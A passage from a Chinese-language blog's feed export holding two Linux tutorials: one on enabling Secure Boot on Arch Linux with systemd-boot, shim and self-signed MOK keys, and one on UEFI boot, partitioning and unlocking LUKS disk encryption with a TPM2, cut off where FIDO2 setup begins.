&lt;li&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bbs.archlinux.org&#x2F;viewtopic.php?id=283252&quot;&gt;SOLVED] Numlock not activating during boot time (systemd-boot)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;kernel_mode_setting#mkinitcpio&quot;&gt;ArchWiki: Kernel mode setting &#x2F; mkinitcpio&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;NVIDIA#Early_loading&quot;&gt;ArchWiki: NVIDIA &#x2F; Early loading&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Avahi&quot;&gt;ArchWiki: Avahi&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fcitx-im.org&#x2F;wiki&#x2F;Using_Fcitx_5_on_Wayland&quot;&gt;Using Fcitx 5 on Wayland&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>手把手教你如何一步步开启 Secure Boot</title>
        <published>2025-06-16T00:00:00+00:00</published>
        <updated>2025-06-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/手把手教你如何一步步开启-secure-boot/"/>
        <id>https://vercel.juzhong.asia/obsidian/手把手教你如何一步步开启-secure-boot/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/手把手教你如何一步步开启-secure-boot/">&lt;h1 id=&quot;shou-ba-shou-jiao-ni-ru-he-yi-bu-bu-kai-qi-secure-boot&quot;&gt;手把手教你如何一步步开启 Secure Boot&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.bgme.me&#x2F;posts&#x2F;2022&#x2F;how-to-enable-secure-boot-step-by-step&#x2F;&quot;&gt;https:&#x2F;&#x2F;blog.bgme.me&#x2F;posts&#x2F;2022&#x2F;how-to-enable-secure-boot-step-by-step&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;启用全盘加密对于移动设备（手机、笔记本）的必要性无须多言，就算防不住条子防不住六扇门，也可以防防修电脑的人（参考陈冠希艳照门），防防手机、笔记本被偷导致的数据泄露。&lt;&#x2F;p&gt;
&lt;p&gt;此外，目前一些品牌笔记本原装系统已经默认启用了 Bitlocker 全盘加密，对于这样的笔记本，如果你想装双系统，同时不想关闭 Bitlocker，那么为 Linux 系统配置启用 Secure Boot 便是必须的。&lt;&#x2F;p&gt;
&lt;p&gt;本文将简单记录一下：如何一步步为新系统安装 systemd-boot 引导同时启用 Secure Boot 的具体操作流程，希望对各位有所帮助。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;首先要禁用 Secure Boot ，这就不用多说了。&lt;&#x2F;p&gt;
&lt;p&gt;以下步骤操作针对 &lt;code&gt;&#x2F;boot&lt;&#x2F;code&gt; 分区同时为 ESP 分区的情况。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-yi-bu-an-zhuang-systemd-boot&quot;&gt;第一步：安装 systemd-boot&lt;&#x2F;h2&gt;
&lt;p&gt;安装 EFI boot manager&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bootctl install
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后你应当看到 &lt;code&gt;&#x2F;boot&#x2F;EFI&#x2F;systemd&#x2F;systemd-bootx64.efi&lt;&#x2F;code&gt; 、&lt;code&gt;&#x2F;boot&#x2F;EFI&#x2F;EFI&#x2F;BOOT&#x2F;BOOTX64.EFI&lt;&#x2F;code&gt; 两个文件了。&lt;&#x2F;p&gt;
&lt;p&gt;使用 &lt;code&gt;efibootmgr --verbose&lt;&#x2F;code&gt; 应当也能看到 systemd-boot 的启动项。&lt;&#x2F;p&gt;
&lt;p&gt;然后在 &lt;code&gt;&#x2F;boot&#x2F;loader&lt;&#x2F;code&gt; 目录添加相应的配置文件，systemd-boot 并不能像 grub 那样自动生成配置文件。&lt;&#x2F;p&gt;
&lt;p&gt;添加 &lt;code&gt;&#x2F;boot&#x2F;loader&#x2F;entries&#x2F;linux.conf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;title Arch Linux
linux &amp;#x2F;vmlinuz-linux
initrd &amp;#x2F;amd-ucode.img
initrd &amp;#x2F;initramfs-linux.img
options loglevel=3 root=&amp;quot;LABEL=arch_os&amp;quot; rw
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;添加 &lt;code&gt;&#x2F;boot&#x2F;loader&#x2F;entries&#x2F;linux-fallback.conf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;title Arch Linux (fallback initramfs)
linux &amp;#x2F;vmlinuz-linux
initrd &amp;#x2F;amd-ucode.img
initrd &amp;#x2F;initramfs-linux-fallback.img
options loglevel=3 root=&amp;quot;LABEL=arch_os&amp;quot; rw
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;需要安装 &lt;code&gt;amd-ucode&lt;&#x2F;code&gt;，且以上仅为示例，请根据自己情况修改 options 。&lt;&#x2F;p&gt;
&lt;p&gt;添加 &lt;code&gt;&#x2F;boot&#x2F;loader&#x2F;loader.conf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;timeout 3
console-mode keep
default linux.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后重启系统，确认 &lt;code&gt;systemd-boot&lt;&#x2F;code&gt; 可以正常工作后进入下一步&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-er-bu-an-zhuang-shim&quot;&gt;第二步：安装 shim&lt;&#x2F;h2&gt;
&lt;p&gt;安装 &lt;code&gt;shim-signed&lt;&#x2F;code&gt;、&lt;code&gt;sbsigntools&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fu-zhi-wen-jian&quot;&gt;复制文件&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;cp &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;shim-signed&amp;#x2F;shimx64.efi &amp;#x2F;boot&amp;#x2F;EFI&amp;#x2F;systemd&amp;#x2F;
cp &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;shim-signed&amp;#x2F;mmx64.efi &amp;#x2F;boot&amp;#x2F;EFI&amp;#x2F;systemd&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;di-san-bu-tian-jia-efi-qi-dong-xiang&quot;&gt;第三步：添加 EFI 启动项&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;efibootmgr --verbose --disk &amp;#x2F;dev&amp;#x2F;sdX --part Y --create --label &amp;quot;Shim&amp;quot; --loader &amp;#x2F;EFI&amp;#x2F;systemd&amp;#x2F;shimx64.efi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;di-si-bu-sheng-cheng-mok-mi-chi&quot;&gt;第四步：生成 MOK 密匙&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;openssl req -newkey rsa:4096 -nodes -keyout MOK.key -new -x509 -sha256 -days 3650 -subj &amp;quot;&amp;#x2F;CN=my Machine Owner Key&amp;#x2F;&amp;quot; -out MOK.crt
openssl x509 -outform DER -in MOK.crt -out MOK.cer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将 &lt;code&gt;MOK.cer&lt;&#x2F;code&gt; 复制至 &lt;code&gt;&#x2F;boot&#x2F;MOK.cer&lt;&#x2F;code&gt;。 将 &lt;code&gt;MOK.cer&lt;&#x2F;code&gt; 复制至 &lt;code&gt;&#x2F;etc&#x2F;mok&#x2F;MOK.cer&lt;&#x2F;code&gt;。 将 &lt;code&gt;MOK.crt&lt;&#x2F;code&gt; 复制至 &lt;code&gt;&#x2F;etc&#x2F;mok&#x2F;MOK.key&lt;&#x2F;code&gt;，特别注意文件权限。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-wu-bu-qian-ming-qi-dong-qi-ji-nei-he&quot;&gt;第五步：签名启动器及内核&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;qian-ming-systemd-boot&quot;&gt;签名 systemd-boot&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;cp &amp;#x2F;boot&amp;#x2F;EFI&amp;#x2F;systemd&amp;#x2F;systemd-bootx64.efi &amp;#x2F;boot&amp;#x2F;EFI&amp;#x2F;systemd&amp;#x2F;grubx64.efi
sbsign --key MOK.key --cert MOK.crt --output &amp;#x2F;boot&amp;#x2F;EFI&amp;#x2F;systemd&amp;#x2F;grubx64.efi &amp;#x2F;boot&amp;#x2F;EFI&amp;#x2F;systemd&amp;#x2F;grubx64.efi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;qian-ming-nei-he&quot;&gt;签名内核&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;sbsign --key MOK.key --cert MOK.crt --output &amp;#x2F;boot&amp;#x2F;vmlinuz-linux &amp;#x2F;boot&amp;#x2F;vmlinuz-linux
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;di-liu-bu-tian-jia-pacman-hook&quot;&gt;第六步：添加 pacman hook&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;&#x2F;etc&#x2F;pacman.d&#x2F;hooks&#x2F;999-sign_kernel_for_secureboot.hook&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Trigger]
Operation = Install
Operation = Upgrade
Type = Package
Target = linux
Target = linux-lts
Target = linux-hardened
Target = linux-zen

[Action]
Description = Signing kernel with Machine Owner Key for Secure Boot
When = PostTransaction
Exec = &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;find &amp;#x2F;boot&amp;#x2F; -maxdepth 1 -name &amp;#x27;vmlinuz-*&amp;#x27; -exec &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;sh -c &amp;#x27;if ! &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;sbverify --list {} 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;grep -q &amp;quot;signature certificates&amp;quot;; then &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;sbsign --key &amp;#x2F;etc&amp;#x2F;mok&amp;#x2F;MOK.key --cert &amp;#x2F;etc&amp;#x2F;mok&amp;#x2F;MOK.crt --output {} {}; fi&amp;#x27; ;
Depends = sbsigntools
Depends = findutils
Depends = grep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;di-qi-bu-qi-yong-secure-boot&quot;&gt;第七步：启用 Secure Boot&lt;&#x2F;h2&gt;
&lt;p&gt;重启系统，启用 Secure Boot。&lt;&#x2F;p&gt;
&lt;p&gt;开机时按 F12 选择启动项 shim。&lt;&#x2F;p&gt;
&lt;p&gt;初次启动时会让你导入 MOK，导入成功后再次重启。&lt;&#x2F;p&gt;
&lt;p&gt;如果能正常进入系统，即完成 Secure Boot 的设置，可以进入 BIOS 将默认启动项设为 shim 。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ke-xuan-xiang-jiang-mi-yao-dao-ru-tpm&quot;&gt;可选项：将密钥导入 TPM&lt;&#x2F;h2&gt;
&lt;p&gt;启动全盘加密之后，一个使用的问题的每次启动都需要输入解密密码，虽然不是很麻烦，但每次启动都要输入还是有一点点麻烦的。&lt;&#x2F;p&gt;
&lt;p&gt;将加密密钥导入 TPM，便可以像 Windows 那样，启动时自动解密。&lt;&#x2F;p&gt;
&lt;p&gt;当然这样做会降低系统的安全性。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;systemd-cryptenroll --tpm2-device=&amp;#x2F;dev&amp;#x2F;tpmrm0 --tpm2-pcrs=0+2+5+7+12+14  &amp;#x2F;dev&amp;#x2F;sdxx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;hou-ji&quot;&gt;后记&lt;&#x2F;h2&gt;
&lt;p&gt;本文仅仅是一篇简单的操作记录，更多内容还请参考 Arch Linux wiki。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Systemd-boot&quot;&gt;systemd-boot&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Unified_Extensible_Firmware_Interface&#x2F;Secure_Boot&quot;&gt;Unified Extensible Firmware Interface&#x2F;Secure Boot&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Dm-crypt&#x2F;Device_encryption&quot;&gt;dm-crypt&#x2F;Device encryption&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Trusted_Platform_Module&quot;&gt;Trusted Platform Module&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd-cryptenroll.1&quot;&gt;systemd-cryptenroll&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>配置基于硬件安全的 Linux：TPM2FIDO2 解密 LUKS 全盘加密和 U2F 用户登录</title>
        <published>2025-06-16T00:00:00+00:00</published>
        <updated>2025-06-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/配置基于硬件安全的-linux-tpm2fido2-解密-luks-全盘加密和-u2f-用户登录/"/>
        <id>https://vercel.juzhong.asia/obsidian/配置基于硬件安全的-linux-tpm2fido2-解密-luks-全盘加密和-u2f-用户登录/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/配置基于硬件安全的-linux-tpm2fido2-解密-luks-全盘加密和-u2f-用户登录/">&lt;h2 id=&quot;qian-zhi-zhi-shi-uefi-xia-linux-de-yin-dao-guo-cheng&quot;&gt;前置知识：UEFI 下 Linux 的引导过程&lt;&#x2F;h2&gt;
&lt;p&gt;由于 BIOS 下实现 TPM2 解密 LUKS 较为困难，本文仅介绍 UEFI 下 Linux 的引导过程。本文所给出的方案，也仅适用于 UEFI (非 CSM) 环境。&lt;&#x2F;p&gt;
&lt;p&gt;简单的说，UEFI 下 Linux 的引导过程如下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;读取 EFI 分区中的 &lt;code&gt;EFI&#x2F;BOOT&#x2F;BOOTX64.EFI&lt;&#x2F;code&gt;，并执行。&lt;&#x2F;li&gt;
&lt;li&gt;该 EFI 程序找到 &lt;code&gt;&#x2F;boot&lt;&#x2F;code&gt; 分区，并读取配置文件。这一步是可选的。&lt;&#x2F;li&gt;
&lt;li&gt;根据配置文件，加载 Linux 内核和 initramfs。这一步是可选的：大多数发行版都有 initramfs，如 Arch Linux、openSUSE、Ubuntu 等。一些嵌入式发行版没有 initramfs，如 OpenWrt。&lt;&#x2F;li&gt;
&lt;li&gt;执行 initramfs 的 init 脚本，init 脚本挂载主目录，然后使用 exec 启动 systemd 或其他 init 程序。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;需要注意的是，引导器、initramfs 和系统 init 是三个不同的东西：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;引导器：负责加载 Linux 内核和 initramfs，如 GRUB、systemd-boot、rEFInd 等。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;initramfs：一个微型的、用户态的 Linux 镜像，负责挂载主目录，启动系统 init 程序。常用的 initramfs 可能基于 busybox 或 systemd。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;值得注意的是，initramfs 和 initramfs 生成器并不是同一个东西。常见的 initramfs 生成器有 dracut、mkinitcpio 等。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;系统 init：是 &lt;code&gt;PID=1&lt;&#x2F;code&gt; 的进程，负责启动并管理进程和服务。常见的系统 init 有 systemd-init、sysvinit、OpenRC 等。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;事实上，早在 initramfs 时期，&lt;code&gt;PID=1&lt;&#x2F;code&gt; 的进程就存在了。通常这个进程是一个 shell 脚本，但也有的 initramfs 不同。随后，initramfs 的 init 脚本会通过 &lt;code&gt;exec&lt;&#x2F;code&gt; 方式启动系统 init。因此，它们具有相同的 &lt;code&gt;PID=1&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外，这三个东西一般情况下是可以自由组合的。可以使用「GRUB + Systemd-based initramfs + Systemd-init」，也可以使用「systemd-boot + Busybox-based initramfs + SysVinit」。主流的发行版选择的是「GRUB + Busybox-based initramfs + Systemd-init」。如果你非常喜欢 Systemd，那么你可以使用「Systemd-boot + Systemd-based initramfs + Systemd-init」。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;兼容问题&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Systemd-boot 引导器&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;boot&lt;&#x2F;code&gt; 目录必须和 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 在同一分区&lt;&#x2F;li&gt;
&lt;li&gt;需要 EFI 驱动以支持 XFS、Btrfs 等文件系统，且 &lt;strong&gt;似乎&lt;&#x2F;strong&gt; 不支持 btrfs subvolume 作为根文件系统&lt;&#x2F;li&gt;
&lt;li&gt;需要修改 &lt;code&gt;&#x2F;root&lt;&#x2F;code&gt; 分区的 GPT GUID 才能支持 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 加密&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;GRUB 引导器&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不完整支持 LUKS2&lt;&#x2F;li&gt;
&lt;li&gt;不支持 TPM2&#x2F;FIDO2 解密 LUKS&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Systemd-based initramfs&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不支持 LUKS1&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;除了上述兼容问题外，由于引导器和 initramfs 无法互通加密密钥，每次启动您都要重复解锁两次 LUKS 卷。可以选择不加密 &lt;code&gt;&#x2F;boot&lt;&#x2F;code&gt; 分区来解决此问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fen-qu-fang-shi&quot;&gt;分区方式&lt;&#x2F;h2&gt;
&lt;p&gt;基于以上前置知识，我使用了以下的分区方案：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Partition&lt;&#x2F;th&gt;&lt;th&gt;Filesystem&lt;&#x2F;th&gt;&lt;th&gt;Mount Point&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;sda1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;EFI (FAT32)&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;efi&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;sda2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;XFS&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;boot&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;sda3&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;LUKS&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;cr_root&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;dev&#x2F;mapper&#x2F;cr_root&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Btrfs, compress=zstd:3&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;dev&#x2F;mapper&#x2F;cr_root&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Btrfs, subvol=&#x2F;@&#x2F;home&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;home&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;dev&#x2F;mapper&#x2F;cr_root&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Btrfs, subvol=&#x2F;@&#x2F;root&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;root&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;dev&#x2F;mapper&#x2F;cr_root&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Btrfs, subvol=&#x2F;@&#x2F;var&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;var&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;dev&#x2F;mapper&#x2F;cr_root&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Btrfs, subvol=&#x2F;@&#x2F;srv&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;srv&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;dev&#x2F;mapper&#x2F;cr_root&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Btrfs, subvol=&#x2F;@&#x2F;opt&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;opt&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;不要忘了将 EFI 的 GPT GUID 配置为 EFI System Partition (ESP)。&lt;&#x2F;li&gt;
&lt;li&gt;Btrfs 目前的实现中，所有 subvolume 共享 compress 参数，且无法分别指定。因此，上表的分区方案中所有的 subvolume 都是使用 zstd 压缩的。&lt;&#x2F;li&gt;
&lt;li&gt;XFS 无法缩减卷大小，如果您有缩减卷大小需求，可以格式化为其他支持的文件系统。&lt;&#x2F;li&gt;
&lt;li&gt;在 &lt;code&gt;fstab&lt;&#x2F;code&gt;、&lt;code&gt;crypttab&lt;&#x2F;code&gt; 和内核参数中，请 &lt;strong&gt;总是使用 UUID 标识分区&lt;&#x2F;strong&gt;，不要使用 label 标识分区。否则，systemd-based initramfs 可能会重复解密分区，或无法找到分区。&lt;&#x2F;li&gt;
&lt;li&gt;请确保您为 LUKS 设置了一个足够长的密码。如果您使用密钥，请确保您已经在在安全且便于销毁或擦除的外部存储器上备份了密钥。否则您的加密数据可能被轻易地使用穷举法破解。对于 SSD 和 SMR 机械磁盘的用户，开启 &lt;code&gt;discard&lt;&#x2F;code&gt; 选项（在之后配置的 &lt;code&gt;crypttab&lt;&#x2F;code&gt; 或内核参数中）以启用 TRIM 对于改善性能是必要的，但是 LUKS 不将其作为默认选项，因为会带来 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Dm-crypt&#x2F;Specialties#Discard&#x2F;TRIM_support_for_solid_state_drives_(SSD)&quot;&gt;潜在的安全问题&lt;&#x2F;a&gt;。我 &lt;strong&gt;个人认为，从不&lt;&#x2F;strong&gt; 在 LUKS 上使用弱密码可以避免这个问题并安全的开启 &lt;code&gt;discard&lt;&#x2F;code&gt; 选项。笔者在此的观点仅代表个人，不构成对任何人的信息安全建议，您应该自己决定是否开启 &lt;code&gt;discard&lt;&#x2F;code&gt; 选项，如有更高的安全需要请咨询您所在单位的安全部门或信息安全专家。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;同时，我决定采取下面的引导方式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;引导器：GRUB&lt;&#x2F;li&gt;
&lt;li&gt;initramfs：systemd-based initramfs&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;pei-zhi-tpm2-jie-mi-luks&quot;&gt;配置 TPM2 解密 LUKS&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-cryptenroll --tpm2-device=auto --tpm2-pcrs=0+7 &amp;#x2F;dev&amp;#x2F;sda3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用上面的命令，将 LUKS 密钥注册到 TPM。注册后，TPM 和你原先的加密方式均可解密 LUKS。其中，&lt;code&gt;&#x2F;dev&#x2F;sda3&lt;&#x2F;code&gt; 是被 LUKS 加密的分区。&lt;&#x2F;p&gt;
&lt;p&gt;PCR 是储存 TPM 状态的寄存器。PCR 7 指的是安全引导（Secure Boot）状态。即，如果安全引导开启&#x2F;关闭的状态发生变化，则清空 TPM 中的 LUKS 密钥。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;仅仅关联 PCR 7 是不够的。如果需要防范冷启动攻击，您需要注册 PCR 2、4、8、9。其中，PCR 8 和 PCR 9 是内核和 initramfs 的签名，您需要在每次更新内核和 initramfs 时更新 TPM 中注册的值，否则 &lt;strong&gt;系统将无法启动&lt;&#x2F;strong&gt;。请查看 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Trusted_Platform_Module#Accessing_PCR_registers&quot;&gt;PCR 值定义表&lt;&#x2F;a&gt; 并自行决定关联哪些 PCR。&lt;&#x2F;li&gt;
&lt;li&gt;部分 UEFI 固件设置必须关联至少一个 PCR 值，TPM 才会解密 LUKS。另一些 UEFI 固件要求必须注册 PCR 7 且保持 Secure Boot 为开启状态，TPM 才会工作（例如笔者的惠普笔记本）。&lt;&#x2F;li&gt;
&lt;li&gt;在配置 initramfs 开机自动解密前，请勿重启。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;pei-zhi-fido2-jie-mi-luks&quot;&gt;配置 FIDO2 解密 LUKS&lt;&#x2F;h3&gt;
&lt;p&gt;若需要使用 FIDO2 解密 LUKS，您可以使用下面的命令：&lt;&#x2F;p&gt;
